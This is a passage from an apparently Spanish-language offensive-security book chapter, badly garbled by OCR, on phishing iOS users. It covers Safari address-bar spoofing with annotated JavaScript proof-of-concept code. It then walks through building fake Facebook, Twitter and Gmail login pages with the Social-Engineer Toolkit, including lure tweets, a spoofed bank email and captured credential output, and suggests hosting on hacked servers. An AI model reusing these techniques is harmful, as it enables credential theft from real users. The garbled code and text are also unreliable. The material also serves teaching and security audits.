que se puede oblener acceso a los sistemas. Es importante conocer a la victima, su rol, su edad, su
concienciacidn, su puesto de trabajo, etcétera. Cuanto mayor detalle mas probabilidades de éxito, ya
que el conocimiento siempre dard ventaja al ingeniero social.

Para subir el rafio de éxito en los alaques de ingenieria social en audilorias sc debe lencer en cuenta la
confianza del usuario sobre la entidad, un nivel aceptable en la falsificacién presentada, introduccion
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de objetos que ayuden a aumentar la confianza del usuario. como puede ser el protocolo HTTPS,
imagenes con ¢l candado de zona segura, optimizacién del recurso para los dispusitivos méviles,
una historia con gancho como pueden ser los tipicos concursos navidefios en las empresas, etcétera.

2.La famosa address bar de Safari

(Por qué es famosa la address bar del navegador por defecto de i5? Realmente por nada bueno. La
barra de direcciones del navegador de i8S indica, como otras barras de navegacion en que sitio web
se encuentra el usuario actualmente. ¢ Se puede modificar? La respuesta es si, se ha podido modificar
en versiones anteriores de 708, ¥ lo mas curioso de la historia cs que este tipo de spoafing se resiste
a desaparecer en las versiones mas modernas de iOS.

Lixiste una vulnerabilidad que permite que dispositivos 708 con ciertas versiones del sistema
operalivo scan cngafiados, es decir, que la direccion URL que la address har anuncie o indique no
sea la verdadera direccién donde el terminar se ha coneclado. Fste hecho es realmente lnteresante Vi
abre una via a la 1ugemeua social en los dispositivos /OS] Lo inter ¢ est o
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¢ Qué cs el address bar spoofing?

Eh. Este Upo de técnica es utlllzada en cierte
esquemas de ataques dt.. phwhmg, en 105 que un usuario malicioso intentara robar credenciales u otra
tipo de informacion haciendo pensar al usuario legitimo que se encuentra en el sitio adecuado.

En otras palabras la address bar spoofing es provocada por unas lineas de codigo malicioso que
modifica el contenido de la barra de direcciones del navegador de un usuario para forzar al p; opm
navegadur a cargar una pagma web a eleccion del usuario malicioso.

Como se¢ puede entender de estas definiciones la idea es sencilla, si el navegador es vulnerable se
podra realizar dicha accién con el fin malicioso de realizar un phishing, casi perfecto. Generalmente.
es la barra de direcciones la que da el primer sintoma de sitio web falso a un usuario, va que se puede
encontrar una direccion IP o un nombre de dominio que no corresponde con el sitio web real. Con
esta técnica, el phishing toma una cara nueva, ya que aparentemente, la barra de direcciones no suele
engafiar al usuario real de donde se encuentra. -

Historia en iOS y OS X de este tipo de vulnerabilidades

Vulnerabilidades del tipo address bar spoofing en los dispositivos de Apple, ya sean equipos o
dispositivos méviles, no son nuevos. Historicamente se puede encontrar alglin que otro caso, tanto
para los equipos Mac, como para los dispositivos iOS.

En el caso del navegador Safari para Mac OS X, la versién 5.1.4 solucionaba 83 vulnerabilidades
en el software, entre las que se incluia una que permitia 4 un atacante modificar el contenido de la
barra de direcciones, De cste modo un usuario podria ser facilmente engafiado mediante el uso de
dicho navegador.

Hoy en dia los navegadores web no permiten que los sitios web modifiquen el texto que aparece
en la barra de direcciones, y ¢s bastante logica su razén. En algunos casos los navegadores
pueden permitir a venianas emergentes ocultar la barra de direcciones, pero en tales casos la URL
se mostraré en el titulo de la ventana. La razén de dichas acciones o de este comportamiento es
sencilla, si los navegadores pudieran ser influenciados por las aplicaciones web que muestran para
ocultar la direccién URL o modificar el contenido de dicha barra de direcciones, las aplicaciones
web maliciosas podrian falsificar facilmente las direcciones URL y engaiiar a los usuarios. Serfa un
vector de ataque enorme para ¢l phishing vy lo peor seria que resultaria sencillo engafiar al usuario.

En el sistema operativo i0S, antes de que una grave vulnerabilidad de address bar spoofing fuera
explotada en la versién 5, se conocia una prueba de concepto del investigador Nitesh Dhanjari con
la que se realizaba un phishing sencillo de la barra de direcciones pero muy peligroso.
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La idea era muy sencilla empujar la barra de direcciones fuera del drea visible del usuario. ¢ Y eso se
podia hacer en un /OS? La respuesta es afirmativa. Mientras que los navegadores intentan informar
correctamente en qué pagina se encuentra el usuario, un dispositivo iOS, por decision de diseiio,
permitia al programador del sitio web empujar la barra de direcciones fuera de la zona visible por el
usuario. E1 objetivo no era otro que generar un mayor espacio Gitil en la pantalla del dispositivo. Este
hecho estaba dando lugar a un vector de ataque muy peligroso. orientado al phishing.

El investigador explicé en el afio 2010 como era suficiente empujar hacia arriba la barra de
direcciones dejindola fuera de la vista del usuario y “pintar” una nueva barra de direcciones falsa
con el nombre del sitio web que se queria suplantar. Este hecho tan simple como peligroso fue uno
de los primeros ataques de la técnica address bar spoofing que se explica en este capitulo. En la
imagen se puede visualizar este problema. En el iPhone de la izquierda se puede visualizar como se
obtenia el phishing realmente, la barra de direcciones es tolalmente falsa, mientras que en el iPhone
de la derecha se puede visualizar lo que cstd ocurriendo realmente, la barra de direcciones real es
desplazada hacia arriba quedando fuera del 4rea visual del usuario.

moimercacans G croe 3

Bankof America @
Fake demo site for iPhone wsers only, The
URL above is just an image. Scmll up 1o sce
the real URL.
Fake demwo site for iPhone users only, The
URL above i3 just an image. Scroll up 1o see
the real URL.

Main Menu

Main Menu

Lin marzo de 2012 David Viera-Kurz publicaba una nueva forma de realizar un ataque de address
bar spoofing en dispositivos i0S. Este ataque afectaba al que por entonces era el nuevo flamante
sistema operativo movil de Apple, iOS 5. Este ataque afect6 hasta la versién 5.1, parcheéndose en la
version 5. /.1 para la cual ya no cs vilido el ataque de address bar spoofing. No es valido en todo su
esplendor, porque realmente lo que se consigue es que la barra de direcciones se quede en blanco, lo
cual puede no ayudar mucho a evitar el phishing en un usuario no avanzado.
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;En gué consistia el ataque? El fallo o vulnerabilidad se produce por la existencia de un error en la
gjecucion de la funcion Windows.openy) en.JavaScript. La implementacion de esta funcion del Apple
WebKit/534.46 permite realizar este ataque en el navegador de /0S. I.a vulnerabilidad sc defallaen 1a
siguiente URL hffp:/iwiowmiajorsecurity.net/Safart-314-ios 5 L-advisory.php. Como curiosidad cabe
destacar que la vulnerabilidad en i08 6 y superior sigue mostrando la barra de direcciones en blanco,
por lo que un usuario cualquiera puede caer en este phishing sin darse cuenta.

Otra de las curiosidades de las que informo el investigador David Viera-Kurz fue la linea temporal
dc acontecimientos que ocurrieron desde que descubrio este address bar spoofing:

El | de Marzo de 2012 sc identifica 1z vulnerabilidad cn (0S 5.0, ese mismo dia esa misma
vulnerabilidad es reproducida en la versién 3./ de i0S. Ll dia 2 de Marzo de 2012 el fabricante,
es decir, Apple es informado de dicho fallo de seguridad. El dia 3 de Marzo Appie responde al
investigador. F1 20 de Marzao de 2012 se publica un advisory con detalles parciales. Apple rabaja
para solventar este agujero de seguridad y el 7 de Mayo de 2012 liberan un parche para i(S 5././
que solventaba el problema de la address bar spoofing. E1 dia 8 de Mayo de 2012 fue publicado el
advisory con todos los detalles y una prucha de conceplo asociada.

3.PoC: Address bar spoofing en i0OS

Tin esta prueba de concepto se presenta un ejemplo, publicado par el investigador David Viera-
Kurz, donde se puede visualizar de manera grafica v sencilla el funcionamiento de la técnica en
un dispositivo (08, El dispositivo que se utilizard es un iPhone, tanto 3GS, 4 v 48. El resultado no
dependera del dispositivo que se esté utilizando, pero se quiere reflejar que valdria con cualguicer lipo
de dispositivo de 4pple, no excluyendo al iFad ni al iPod louch.

Enlasiguiente direccion URL se pusde encontrar una prueba de concepto que presenta el investigador
mencionado anteriormente http:dmajorsecurity.net/himid/fios5 I-demo.himl. En csle sitio web se
presenta un botdn que debe ser pulsado desde un dispositivo 0S8, en este caso un iPhone, para
cargar un iffame con la pagina web real de Apple, pero dicho ifirame se encuentra embebido en un
sitio web que no pertencee a Apple.

Cuando esta prueba de concepto se realiza con una version vulnerable a address bar spoofing, la
barra de direcciones indicara que el sitio web en el que se encuentra el usuario as el sitio web de
Apple, lo cual no es cierlo ya que simplemente el ifireme embebido en el sitio web se encuentra en
dicha web.

Sila prueba de concepto se realiza con un /05 superior o igual a la version 5. 1. / la barra de direcciones
no sera spoofeada, pero aparcceerd en blanco. Este hecho no ayuda al usuario a evitar el spaofing, va
que el usuario no avanzado puede no entender el significado de la harra de dirceciones en blanco.
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Configuracion y ¢jecucion

En primer lugar se utilizara un iPhone con i0§ 3.1, el cual es vulnerable a la técnica address har
spoofing. Arrancando ¢l navegador mévil Safari se accedera a la siguiente direccion URL htp:tf
majorsecurity.net/htmi3fios51-demo.himl donde se podrd visualizar el sitio web que se muestra en
la imagen.

majorsecurity. net/himis. G

Sar-e payment{bank website included here.

1. start poc

click the buzion tg run the pec.

Conre)

i

2 M @

Tmagen 09.03: Coniienzo de la prucba de concepro de David Fiera-Kirz ﬁ

Tras visitas este sitio web se muestra un jfiame en la parte inferior que carga el sitio web de Apple,
en su versién de habla inglesa. Para comenzar la prueba de concepto se debe, desde el dispositivo
{08, pulsar en cl botdn que indica “Demo”. Tras la pulsacion en dicho botdn se abrird una nueva
pestana y se llegard a un sitio donde se vuelve a cargar un iframe, de mayor tamafio, con el sitio web
de Apple en lengua inglesa.

Como el dispositivo i(S utilizado dispone de un sistema operativo con version 5.7 se obtiene la
direccidn hrrp:/fwww Apple.com en la barra de dirccciones.

Cabe destacar que en la partc de arriba, escrito en el propio codigo HTML, y para que ¢l usuario
pueda visualizar claramente que se encuentra en un sitio web no perlenceicnte a Apple. se escribe
el siguiente texto: "This is still hosied on MajorSecurity.net, but the the adressbar is being spoofed
and is pointing to another FODN. Scary ",

Con esta senlencia se quiere demostrar que el iframe se encuentra realmente ecmbebido en 1a web, y
que aunque la barra de direcciones indique que el usuario sc cneucnira en el sitio web de Apple este
hecho no es cierto.
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Si se accede desde un iPhone, o dispositivo i(S. con una version 5.7./ del sistema operalivo o
superior no s¢ podré obtener el mismo nivel de confianza por parte de la victima, es decir, el usuario
visualizard una barra de direcciones en blanco, aunguc ¢l phishing seguird siendo cargado en el
iframe, vy no existird ninguna notificaciéon que pueda alertar al usuario.

El simplc hecho de que la barra de direcciones aparezea en blanco no alertard. por lo general, a un
usuario no avanzado. Hay que rccordar que, hoy en dia, la mayoria de los usuarios de las nuevas
tecnologias no son usuarios avanzados y este hecha puede ayudar a que ¢l intento de phishing
obtenga el éxito buscado por el atacante.

The new il_Vlac

Performance and casign. Taken right to the edge.
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4.PoC: Personalizando el ataque

En esta prucba de concepro se configurard un servidor web el cual realice la técnica de address
har spoafing, para que se personalice el ataquc Lodo lo posible. Se realizara la configuracion de un
sitio web falso, el cual pida al visitante alguna credencial v, para versiones vulnerables a la técnica
estudiada cn cste capitulo, se presente informacion no verdadera cn la barra de direcciones.

Manos a la obra

Se utilizaré un servidor WAME, ya que el sitio web malicioso s ha preparado en sistemas Microsoft
Windows. pero se podria utilizar un servidor BAMB paru sistemas GNU/Linux, d’_:. AMP, para llevar
a cabo la prueba en un equipo Mae OS X '

El codigo que provoca ¢l address bar spoofing se comentara en las proximas Iineas, es recomendable
entender lo que realiza dicho codigo, en su mayoria codigo JavaSeript. Ll codigo original propuesta
por el investigador proporciona al usuario 1ina pagina web, que dispone de un botén que al pulsado
realiza la técnica de address bar spoofing. (Por qué no lanza directamente la pagina web malicioso
con la barra falsificada? Lin primer lugar porque es una prucha de concepto y en segundo lugar
debido a que, generalmente, los navegadores bloquearan las funciones JavaScript que intenten
realizar aperturas de nucvas ventanas en la carga de un sitio web. S¢ pucde buscar la manera de
consegulr este hecho si la accion tuera para realizar una accién maliciosa, hay que tenerlo en cucnla.
<.DCCTYPE ETML PUBLIC “—//W3C//DTD HNTML 4.01//EN”>
<htm’>
<neadr<lic_e*MobileSafari 105 5.1 - Adress bar aspooling poc</titlex

<meta http-sgiiv-"coocent-type” content="texzt/html; charset—iso—HEE538-1">
</beads

En esta parte inicial de cddigo se puede visualizar como se pone titulo a la ventana inicial Ademds se
confligura el charset y la cabecera del documento. Se podria intentar declarar la funcion JavaScript
de carga de la técnica de address har spoofing en esta parte del cédigo e invocarla cn el body, pero
muy probablemenle Safari bloquearia dicha accion, por lo que habri que buscar otra opeion para
hacer llegar el phishing, por ejemplo con ingenicria social.

<body>

<lie_dust>

<legeondrSome pavment/bank websize inecluded here. </Tlegeng>
Lol

<lirstart poo<smp:cl_ck ths button teo run ths poc.</xmpr<bitiar
ie="one”>Deme</button></1i>
“File T

</lie’dset>

En esla parte del eddigo comienza la seccion body del sitio weh. En esta parte se puede visualizar
como se indica un mensaje “Seme pavment/hank website included here.”, con este mensaje ¢l
investigador da ideas sobre para que se puede utilizar esta prueba de concepto en manos maliciosas.
Ademds, sc incluye un botén que deberd ser pulsado para acceder a la prueha de concepto en si.
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1.0 més sencillo para la personalizacion de esta prueba de concepto es generarse una pagina similar
con un botén decorado para afianzar la confianza del usuario. Otra de las maneras seria hacer que el
codigo JavaScripi se ejecute en la carga del sitio web, quiza la mejor manera para un phishing real.

<script type="text/Javascript”>

documentl .getklementBylid {‘one’) . .onclick = functicon()
myWindow=window.opzn{ *http://www.appie.con’ , ' sintitel’, "width=200, height=100, 1o
cation=yes’);

myHindow.document .. write |

Y<html><headsd S head><body>
<strong>This is still hosted on MajorSecurily.net, but the the
adressbar is being spoofed and is pointing to another TODMN. scary.
</strong>
<hr><or>
<iframe src=\"http://www.apple.com\*);></iframe></script></body>

</ html>") ;

myWindow.focus () :
b

<yseripl>

En esta parte del cod1go se visualiza la funci caliza realmente la

suplantaclon

Tras explicar el codigo original de la prueba de concepto se va a proceder a la modificacion para
preparar la prueba de concepto personalizada. Se creard un fichero denominado poc.htm! o incluso,
si se quiere afiadir algo con lenguaje PHP se podria crear un archivo denominado poc.php. En esta
parte de la fase de ingenieria social toda idea con imaginacion puede ayudar al éxito de la accion
(rente a la victima.

Este fichero, poc.php, se incluira, por ejemplo, en un servidor el cual ha sido hackeado y se tiene
acceso, o al que se ha subido una g,'eﬁzg}ge‘y se dispone de privilegios para subir y modificar archivos
de un sitio web. Otra opcion es utilizar un servidor propio en el que se publique algo conocido
por la victima. El atacante quicre utilizar este servidor como tuente de confianza, por ejemplo,
supdngase que se hackea una web de una famosa marca de ropa. la cual enlaza con un banco para
realizar un pago o simplemente enlaza a otros sitios web donde se necesita incluir un usuario y
contrasefa para acceder a una zona inlerna. Es esta segunda web, y no la de la famosa marca de ropa,
la que serd victima de phishing, y ayudéandose en la address bar spoofing, engaiiar al usuario que
acceda mediante el dispositivo iOS. Para realizar las acciones de manera procedimental se presenta
el siguiente esquema:
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- Creacion del fichero que se encargard de, mediante la utilizacién de un botén, invocar
a la nueva ventana con el sitio web falso y la barra de direcciones spoofeada. Este fichero
puede ser alojado en un servidor propio del atacante, con dominio en Internel para no levantar
sospecha, o si el atacante tiene acceso a algiin servidor, por asi decirlo de alguna marca
reconocida en Internet, aprovecharia esto para ganar la confianza de las victimas.

- En esta prueba de concepto se utilizard un botdn de Facebook, el cual tras ser pulsado
desde el dispositivo iOS, iPhone en este caso, abrird un sitio web falso preparado para recoger
los login de Facebaok. La idea es presentar a la victima que cuando pulse sobre el boton
tipico de compartir en I'acebook, se abrira en su dispositivo una ventana que le pedira las
credenciales, como si la sesion hubiera caducado. Este sitio es falso, aunque en la barra de
direcciones indicara que es Facehook. Hay que recordar gue la version de iOS serd una 3.1.

- Una vez se presenta el sitio web falso a la victima, si esta dispone de un /OS 3.7 su barra
de direcciones habra sido spoofeada, si por el contrario dispone de una version superior la
barra de direcciones aparecera vacia. En cualquiera de los dos casos, las posibilidades de
éxito son altas en un posible ataque de phishing real.

i En la siguiente imagen se puede visualizar el boton de “Me gusta™ de Facebook. Lste boton no es
exactamente ¢l mismo boton, es una copia y esta personalizado para que cuando se haga click sobre
él se ejecure la funcién JavaScripr explicada en este mismo capitulo. ad

TN .-
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Categorias: POC
Etiquetas: hacking, Metasploit, Meterpreter, pivoting,
poc, Seguridad

Imagen 09.06: Botdn falso que activard phishing v address bar spoofing.

Una vez las victimas pulsan sobre el boton se abre una nueva ventana con la que aparecera un iframe
que ocupa la pantalla o la mayor parte de vision posible. La pAgina interior es una copia preparada,
incluso con conexion a base de datos, del propic WAMP, para almacenar las credenciales. En esta
imagen no se visualiza ninglin mensaje, como en la prueba de concepto original, estaria preparado el
phishing para engaiiar lo mejor posible a la victima. La barra de direcciones es spoofeada indicando
la direceion que sc indique en el JavaScripi.
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m.facebook.com

facebook

Descargate Facebook para IPhone y
navega mas rapide.

Direccion de correa electrénico o nimaro de 1

I Contrasena

iHaz obvidado lu conlrasefia?
;Tienes problamaa para enfrar en Facebook? Prusba
con inicio de sesion alternativo.

Para comprobar que realmente ¢s un iframe y que no se encuentra realmente en dicho dominio s¢
pucde visualizar la siguiente imagen. Se puede comprobar como la prucba de concepto original ha
sido modificada para mostrar, cn este instante, un mensaje que indica que el sitio web de abajo cs
falso.

m.facehnak.com

Este sitin no es real, es falso. i64

facebook

| Descargate Facebodk para iPhone y
i navega mas rapico.

Direccién de correo eleclronico o nimero de t

Contrasefia

iHas gividarn ti confrasefa?
;Tienes problemas para entrar en Facabaok? Prusha

I
!
1_

oon inicio de sezion allernative.

Imagen 09.08; iframe debujo de la linea que informa que es phishing.
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5. Herramientas que ayudan a la ingenieria social

Ln la App Store exislen gran cantidad de herramientas que, inconscientemente, avudan a realizar
trabajos de phishing. ;Isto es permitido por Apple? Realmente la funcionalidad de la aplicacion es
ofra, pero un atacante puede utilizarla para realizar un phishing bastantc aceptable. Ademds, con la
avuda de SET, Social-Engineer Toolkir, se puede automatizar cl proceso de phishing sin necesidad
de conligurar entornos més avanzados o mas complejos.

Las aplicaciones que pueden ayudar, y mucho, al phishing en dispositivos iOS con las que permiten
la aparicion de navegadores cmbebidos. Listas aplicaciones intentan mostrar una presentacion de
unidad y gran presencia sin contar con el peligro que puede suponer para el usuario final. Camao
¢jemplo se hablard m4s delante de la aplicacion de Twirter para i0S con la que los usuarios pueden
abrir los enlaces de los Tweets en la propia aplicacidn gracias a la clase [/IWebliew. Esta clase
despliega la informacion web embebida en la aplicacion sin necesidad de salir de la misma, en otras
palabras. el usuario puede ver la informacién en la aplicacion sin abrir el navegador Safari. Usta
clase estd basada en Safari pero no requiere cerrar la aplicacién para que los confenidos se muestren.

¢Donde reside el problema de estos navegadores embebidos? Fs realmente sencillo, su barra de
direcciones. La harra de direcciones no es mostrada por lo que el usuario no puede ver a simple vista
s1 el sitio que accede es realmente ¢l que parece. No es un address bar spoofing, va que es el propio
componenentc /TWebView el que trabaja asi por defecto. Como solucidn, se indica ¢l sitio weh al
que se accede en la barra del titulo de 1a aplicacién, pero esto sucede duranic un breve periodo de
tiempo. Después aparcce en la barra de titulo de la aplicacién ¢l nombre del sitio web, €l cual puede
ser facilmente manipulado.

En la siguicnte imagen se puede visualizar comao al abrir un link de un Tweet se pucde obtener la
pagina sin barra de direccion asceiada, par lo que no se puede saber si ¢l sitio ¢s verdadero o no. Otra
dificultad para los usuarios es que los shortner de direccionces 1R, se encuentran muy difundidos cn
Tivitter, hacicndo ver qué el envio de un link con shormer en Twitter es un hecho normal.

Tuest Fiu Project | B
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Imagen 09.09: Navegador web embebido en Tivitter de un sitio mavil,
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SET: Social-Engineer Toolkit

Es un script que proporciona al atacantc un conjunto de herramientas relacionadas en su totalidad
con la ingenieria social. Iiste conjunto de herramicnlas sc integra facilmente con Metasploit para
oblener incluso sesiones inversas, es decir, la intrusion a los sistemas remotos que se estan atacando.

Lsta toolkit ofrece un seript que centraliza todas las funcionalidades necesarias para realizar ingenieria
social a través de medios teleméticos. Se puede deeir que es piraleria de la mente humana. El objetivo
de SET cs utilizar la ingenieria social en todas las vias telematicas desde el engafio mediante SMS,
hasta la suplantacion de paginas weh. pasando por la ingenieria social en dispositivos fisicos.

Muchos especialistas opinan que la ingenicria social es un gran riesgo en la actualidad. Aunque
dia a dia las personas van estando més concienciadas, las técnicas de ingenicria social avanzan y
los métodos son cada vez mas complejos. Los dispositivos moviles son un nueve foco en el que ¢l
engafio puede ser hecho con bastante facilidad y SET ayudara a estas pruebas de concepto que se
presentan en este capitulo.

Select from the menu:

Spear-Phishing Atlack Vectors
Website Attack Veclors

Infectious Media Generator

Create a Payload and Lislener
Mass Mailer Attack

Teensy USB HID Attack Vector

sMS Sponfing Attack Vector
wireless Access Point Attack Vector
Third Party Medules

18. tpdate the Metasploit Framework
11, Update the Sncial-Engineer Toolkit
12. Help, Credits, and About

13. Exit the Social-Engineer Tanlkit

MR~ LN A W

Enter your choice: 2

Imagen (9.11: Memu de SET.
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Para la prueba de concepto sc utilizara SET, el cual se encucntra en la distribucion de GNU/Liny
para auditoria de scguridad BackTrack 5. SET se cncuentra disponible en la siguicnte ruta, en una
distribucion BackTrack 3, ipentest/exploits/set.

6. PoC: Hacking con Twitter

En esta prucba de concepto se utilizari SET para realizar un clon del sitio web de Zvitter con el
objctivo de disponer en un servidor o una maquina local de un inicio de sesién falso de esta web.

.

Para llevar a cabo esta accidn se debe arrancar SET y sc utilizar4 la & cnica denominada ﬁmes-ﬁ?x,ﬁ
“decred iafz_ﬂeialasgﬁnm técnica perniite al atacante montar un sitio web sirmilar al real con el objetivo
de rceolectar las credenciales de la victima, Para esta prueba de concepro se parte del siguicnte

escenatria:

T

- Alacante con una maquina BackTrack 5 con un servidor web el cual Facilitard el sitio falso
4 las vietimas.

- Lavictima recibird un Tiweer a ravés de Twiiter con un link acortado, el cual al resolverse
mostrard en la aplicaciéon un navegador embebido con el sitio web fulso. La victima no
visualizard ningin dominio o direccién IP extrafia, por lo que no perderd la confianza en lo
que esta viendo.

- Para cngafiar a la victima, cuando esta acceda a ejecutar el link legard a un sitio web de
inicio de sesidn de Tiwitfer, como si la sesién hubiera caducado.

A vontinuacién se procede a realizar la configuracién del servidor para clonar el inicio dc scsién
de Twitfer. En primer lugar, tras ejecutar SET, sc debe elegir la opcion dos del men principal

denominada “Wehsite Attack Vectors "\

Selcct from the menu:

Spcor-FPhizhing Attack Veclors
Uebsite Attack Vectors

Infectious Media Generatar

Create a Payload and Listcner

Hass Mailer Attack

Teensy USH HID Attack Uector

SHS Bpoofing nttack Vector
Uircless fccess Point Attack Vcctor
Third Party Modulcs

10. Updatc the Metasplnit Framework
11. Update the Social-Enginccr Toolkit
12. Help, Credits, and Abnut

13. Exit the Social-Engineer Toolkit

WU STON O W DI BT =

Enter your choice: 2_

x3

lmagen 09.12: Blecoi6n del veclor de utaque weben STT.
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Tras elegir el vector de ataque hay que elegir la tu.mui que se ulilizard. En este caso se pulsara la
opeidn nitmero tres, denominado “Credential ' Harves. '._IZAMkMM'

En esta técnica se pedira si se quicre utilizar una plantilla de las que proporciona SET o utilizar un
clonado in situ de un sitio web. Cabe destacar que SET cs capar de realizar una copia de un sitio
weh. aungue esta esté bajo SSL.

1?1 Uehsite fittack Vectors [!]

1. Weh Tenplates

. 3ite Cloner

3. Custonm Import

1, Heturn Lo main menu

Enter number (1 4):

Imagen 09.13: Eleceién de clonacion de sitio web

En este ejemplo la direccion TP del sitio clonado es 192.168.0.61, por lo que en el /ink que s¢ cnviara
por Twitter apuntaria a esa direccion [P, El envio del Tweet debe ser lo mas natural pomblh para que
¢l mayor numem de usuancs teugau la confianza para acceder a dicha URL. Se ar |

Tiitio Tweet

forensic
torensiosa

| @victima_iba_iphone Mira tu foto
. del fin de semana pasado! bit Iy/
| hKFgeK

| A0nafa11:34

Imagen 09.14: Recepeidn de lwest malicioso

L1 usuario fras recibir ¢l Tweet puede abrirlo o no abrirlo. Este hecho dependera de la confianza
que le suscite el mensaje. Liste es el momento de la ingenieria social mas imaginativa. Liste es un
ataque que ha permitido el robo de credenciales de famosos, gracias a lus nuevas tecnologias v el
desconocimiento de éstas.

Tweet  hitp:/t.co/NspX...

Imagen 09.13: Apertura del vavegador embehidn

Se puede visualizar como al abrir ¢l link se muestra el navegador embebido en la aplicacion y en la
barra de titulo se muestra la direccion URI.. Esta direccion URL que se muestra estd acortada. por lo
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T — .
que 1o levantara sospechas en los usuarios victimas. S¢ ha ilizado bitly para realizar dicha accién,

pero se puede utilizar otros shorsiers con el misme resultado positivo. .

6 W&ﬁ&ﬁuﬁt&rnﬂr&ﬂmn%mdnem.Blmwcgador 'Cmbébfﬁ

Tras la carga del sitio web la barra del (tulo solo indica Twitter, por lo que ¢l usuario no sospecharia
ninguna accién maliciosa. La pagina que se muestra es la del login, por lo que la victima puedc
suponer que se ha caducado la sesion y debe introducir sus credenciales.

méviles. Sg
e o

) mite.

y mas realisme d

192.168.0.157 - - L20-Dec-7012 11:35:461 "GET » HIIP/1.1" 260 —
[=] WE GOT A HIT! Printing the output: -

POSSIBLE USERNAME FIELD FNUND: sessionlusernamc_or_email 1=Uictima
PUSSIBLE PASSHORD FIELD FOUND: sessionlpassuord]=123abc.

PARANM : wcribe_log=

FOSSTRLE USERNAME FIELD FUUND: redirect af ter login--

FARAM : authenticity_token=cOf 399460639909 2ab22ca2?13a3F 9f 34514344
[=1 WHEN YOUR FINISHED. HIT CONTROL-C TO GENERATE A REPURT

denoiales tecouids del phishing &
Ln esta imagen se puede visualizar como la victima hace clic sobre el fink v accede, desde el
navegador embcbido, al sitio falso de Twitter. Ademas, la victima introduce las credenciales gue som

almacenadas por SL 1 en el mismo inslante.
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7.PoC: Hacking con Gmail

En esta prueba de concepto se utilizard la aplicacion de Gmgil para iQS para realizar un phishing.
Tal v como se ha explicado en la prueba de conceplo con Tivitrer, la aplicacion de Gmail realiza una
operativa similar al embeber el navegador dentro de la propia aplicacién.

La transicién que se explicara entre el correo recibido en la aplicacion de Gmail y el navegador
embehido no refleja ningin dato o sospecha sobre la pagina que realmente se puede visualizar, Es
por esta razén que este tipo de aplicaciones es un blanco sencilla para el phishing, ya que ayudaran
mas al atacante que al usuario victima del suceso.

La idca a realizar en esta prueba de concepto es enviar un correo, va puede ser masivo en busca de
gran cantidad de victimas, con el que un vusuario reciba un /ink que al abrirlo le redirija a la pagina
de autenticacion de Gmail. De este modo el usuario pensara que la sesion se le ha caducado. Pero es
muecho mas comin recibir phishing bancario en el correo. el cual. v gracias a la implementacion de
la aplicacién, no levantard sospecha si esta realmente cuidado en suo estética.

En primer lugar se utilizara SET de
cualyuiera. Se utilizar: . O s spo 5. cofl
weh es ser pre e correos cleetrinicos Talsos y Feilmentes

]

From Name: [Banco Malicioso

From E-mail: | contacto@bancoMalicioso
To: |1eenresieles@omail.com
Subject: |Reembolsn del hanro para ti
Attachment: nada seleecionado
Attach another fila
( Advanced setings |
Content-Type: O text/plain @ textyntm| & Editor
Tat: N il u === | X 0l 6@ A% !
sthes [ paregraph |- ont remily |- [rontsae |
EEIFEFE« (9 E|EEd BES@m
HiEE %S mE|—cE
WO d A2 %= QCH=(4 " |3
Hdm Ay AP | osmecA AR T W
Querldo cllente,

Este e= un mensaje donde s& & Indlca gue se |e reemboisars dinero deblda a un
premic gue ha ganado con Banoo Malicloso, el banca que piensa en d.

Gradas pur confiar en nosotros!

Imugen 09.18: Correo spoufeado pata el phishing
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Una ver enviado el correo y de tener preparado SLI1 con el sitio web clonade y preparado para recibir
la peticién de las victimas habrda que esperar a que éstas caigan cn ¢l phishing que se ha creado.
El correo electronico debe ser lo més creible posible, incluso siendo interesante la posibilicad de
incorporar imagenes que puedan proporcionar confianza a la victima de que realmente el correo s
real.

Enlasiguiente imagen se puede visualizar como ¢l correo que llega tiene el dominio bancoMalicioso,
sicndo cste cambiado en un caso real por la entidad que se quiera. Si el correo electrénico es lo mas
real posible, existe gran cantidad de posibilidades de que no se considerc spam vy llegue a la bandeja
de entrada del usuario.

Banco Malic
. Mallckhso ¥ s | g i’ | Parhcuhres
conacto® bancomacioe . com R
Croutar detalles b i ” . i phes ;J" .ﬁ.cclﬁn-h
& - e e e
Fara: Iuisnmgstoles@grmail.anm 2
Accesa seguro 2 - Paslicularss I
Feclia. 10 deanero de 2013, 22:44 s

Querica cliente, WA

Para {

Este es un mensaje dende se e indica que
se |z reembolsara dinerc debido a un premic

= .
que ha ganado con Bunoo Malicioso, ol i u?’”ﬁ
Acoeso con isciadn vinug!
banu gue piensa en i JIEREE-— -
Demostzciin P
hitp2/Ainyurl.com/bancoMalicioso Pt

Craclas por confiar en nosotros|

wA tu servicio

Imagen 09,19: Acceso al sitio web falso sin barra de direcciones.

En la parte derccha de 1a imagen se puede visualizar tras pulsar sobre el link incorporado en el mail
falso, fttp Ty lVRE, cmn/émanahc:osfse accede al sitio web montado con SET.

g;c&amermr permﬂ’é

i

&
= crsunahzag . . S ible. De este modo
de “Iiersumhzar alin mas el corred v la trampa que se pfop@ne usuario.

8. PoC: Hacking con Facebook

Comao se ha ido abservando a lo largo del capitulo, las aplicaciones mds famosas, lanto de redes
sociales o gestion de correo personal, son vulnerables a ingenicria social. Hacen realmente sencillo
que un usuario cualquiera caiga cn un phishing, independientemente del nivel de este usuario.
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La aplicacion de Fucebook no se queda alrds e implementa lambién ¢l mismo fallo de seguridad
que se ha estudiado en las pruebas de concepto anteriores. Como se puede visualizar en la sizuiente
imagen, cuando un usuario pulsa sobre un /ink que alguien deposité en su muro, se abre la vista
embebida del navegador, de nuevo, sin la barra de direcciones.

Compartir

——— rtve €S gy

en . ox, =
El 28 da anere a la3} 20:54 - & . Alatem | Flimtac ] Progamansn | Talsdiac snd | Mo
Més toman

. yrecomiendo &

|| gusie de su programacion. . TEEERENESEEmE

m Nolas de preraa | Dascaruss

RTVE y Cinetecn se unen para i
apoyar la difusion y la promocld. . i L
i
|

ATVE.as

RTVE y Cineteca se unen para ap
la promocidn de los documentale|

La sala de cine ubicada en Mat;

Iimiigen 0920: Navegador embebido en +Faeebooek sin la barra de direcciones

El problema radica en el U7Wed Fiew. Este componente de desarrollo no implementa la barra de
direcciones, por lo que ¢s un problema de scguridad. Esla situacion ocurre de manera similar con
¢l componente equivalente en la plataforma Android, por lo que este tipo de ataques se extiende a
dicha plataforma.

9. El correo electronico en iOS

Lil cliente de correo electronico que viene por defeclo en el sistema operativo iOS dispone de una
configuracion predeterminada que permile la carga de imagenes en mensajes de correo electranico
recibidos en formato TITML.

Esta caracteristica permite a un atacante que envie un mensaje de correo electronico personalizado
cargar una imagen desde una URL gue apunte a un servidor controlado. En otras palabras, cuando
